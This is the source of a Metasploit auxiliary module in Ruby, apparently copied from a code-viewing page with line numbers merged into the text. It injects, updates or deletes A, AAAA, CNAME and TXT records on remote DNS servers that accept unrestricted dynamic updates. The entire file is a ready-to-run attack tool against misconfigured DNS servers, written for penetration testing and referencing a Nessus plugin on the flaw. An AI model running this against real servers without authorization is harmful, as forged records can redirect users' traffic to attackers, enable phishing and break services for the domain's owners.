Path: blob/master/modules/auxiliary/admin/dns/dyn_dns_update.rb
19567 views
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67require 'dnsruby'89class MetasploitModule < Msf::Auxiliary1011def initialize12super(13'Name' => 'DNS Server Dynamic Update Record Injection',14'Description' => %q{15This module allows adding and/or deleting a record to16any remote DNS server that allows unrestricted dynamic updates.},17'Author' => [18'King Sabri <king.sabri[at]gmail.com>',19'Brent Cook <brent_cook[at]rapid7.com>'20],21'References' => [22['URL', 'https://www.tenable.com/plugins/nessus/35372'],23['URL', 'https://github.com/KINGSABRI/CVE-in-Ruby/tree/master/NONE-CVE/DNSInject'],24['URL', 'https://www.christophertruncer.com/dns-modification-dnsinject-nessus-plugin-35372/'],25['URL', 'https://github.com/ChrisTruncer/PenTestScripts/blob/master/HostScripts/DNSInject.py']26],27'License' => MSF_LICENSE,28'Actions' => [29['UPDATE', { 'Description' => 'Add or update a record. (default)' }],30['ADD', { 'Description' => 'Add a new record. Fail if it already exists.' }],31['DELETE', { 'Description' => 'Delete an existing record.' }]32],33'DefaultAction' => 'UPDATE',34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],37'Reliability' => []38}39)4041register_options([42OptString.new('DOMAIN', [true, 'The domain name']),43OptAddress.new('RHOST', [true, 'The vulnerable DNS server IP address']),44OptString.new('HOSTNAME', [true, 'The name record you want to add']),45OptAddress.new('IP', [false, 'The IP you want to assign to the record']),46OptString.new('VALUE', [false, 'The string to be added with TXT or CNAME record']),47OptEnum.new('TYPE', [true, 'The record type you want to add.', 'A', ['A', 'AAAA', 'CNAME', 'TXT']]),48OptAddress.new('CHOST', [false, 'The source address to use for queries and updates'])49])50end5152def record_action(type, type_enum, value, action)53# Send the update to the zone's primary master.54domain = datastore['DOMAIN']55fqdn = "#{datastore['HOSTNAME']}.#{domain}"56opts = { nameserver: datastore['RHOST'] }5758if datastore['CHOST'] && datastore['CHOST'] != ''59if Rex::Socket.is_ipv4?(datastore['CHOST'])60opts[:src_address] = datastore['CHOST']61elsif Rex::Socket.is_ipv6?(datastore['CHOST'])62opts[:src_address6] = datastore['CHOST']63end64end6566resolver = Dnsruby::Resolver.new(opts)67update = Dnsruby::Update.new(domain)68case action69when :resolve70begin71answer = resolver.query(fqdn, type)72if (answer.answer.count > 0)73print_good "Found existing #{type} record for #{fqdn}"74return true75end76return false77rescue Dnsruby::ResolvError, IOError => e78print_good "Did not find an existing #{type} record for #{fqdn}"79vprint_error "Query failed: #{e.message}"80return false81end82when :add83print_status('Sending dynamic DNS add message...')84update.absent("#{fqdn}.", type)85update.add("#{fqdn}.", type_enum, 86400, value)86begin87resolver.send_message(update)88print_good "The record '#{fqdn} => #{value}' has been added!"89return true90rescue Dnsruby::ResolvError, IOError => e91print_error "Cannot add #{fqdn}"92vprint_error 'The DNS server may not be vulnerable, or there may be a preexisting static record.'93vprint_error "Update failed: #{e.message}"94end95when :delete96begin97print_status('Sending dynamic DNS delete message...')98update.present(fqdn, type)99update.delete(fqdn, type)100resolver.send_message(update)101print_good("The record '#{fqdn} => #{value}' has been deleted!")102return true103rescue Dnsruby::ResolvError, IOError => e104print_error "Cannot delete #{fqdn}"105vprint_error 'The DNS server may not be vulnerable, or there may be a preexisting static record.'106vprint_error "Update failed: #{e.message}"107end108end109110false111end112113def update_record(type:, type_enum:, value:, value_name:)114if value.blank?115print_error("Record type #{type} requires the #{value_name} parameter to be specified")116return117end118119force = datastore['CHOST'] && datastore['CHOST'] != ''120case action.name121when 'UPDATE'122if force123record_action(type, type_enum, value, :delete)124record_action(type, type_enum, value, :add)125elsif record_action(type, type_enum, value, :resolve)126if record_action(type, type_enum, value, :delete)127record_action(type, type_enum, value, :add)128end129else130record_action(type, type_enum, value, :add)131end132when 'ADD'133if force134record_action(type, type_enum, value, :add)135elsif record_action(type, type_enum, value, :resolve) == false136record_action(type, type_enum, value, :add)137else138print_error 'Record already exists, try DELETE or UPDATE'139end140when 'DELETE'141if force142record_action(type, type_enum, value, :delete)143elsif record_action(type, type_enum, value, :resolve)144record_action(type, type_enum, value, :delete)145else146print_error 'Record does not exist, not deleting'147end148end149end150151def run152ip = datastore['IP']153value = datastore['VALUE']154case datastore['TYPE']155when 'A'156update_record(type: 'A', type_enum: Dnsruby::Types.A, value: ip, value_name: 'IP')157when 'AAAA'158update_record(type: 'AAAA', type_enum: Dnsruby::Types.AAAA, value: ip, value_name: 'IP')159when 'CNAME'160update_record(type: 'CNAME', type_enum: Dnsruby::Types.CNAME, value: value, value_name: 'VALUE')161when 'TXT'162update_record(type: 'TXT', type_enum: Dnsruby::Types.TXT, value: value, value_name: 'VALUE')163else164print_error 'Invalid Record Type!'165end166rescue ArgumentError => e167print_error(e.message)168rescue Dnsruby::OtherResolvError169print_error('Connection Refused!')170rescue Dnsruby::DecodeError171print_error('Invalid DNS reply, ensure you are connecting to a DNS server')172end173end174175176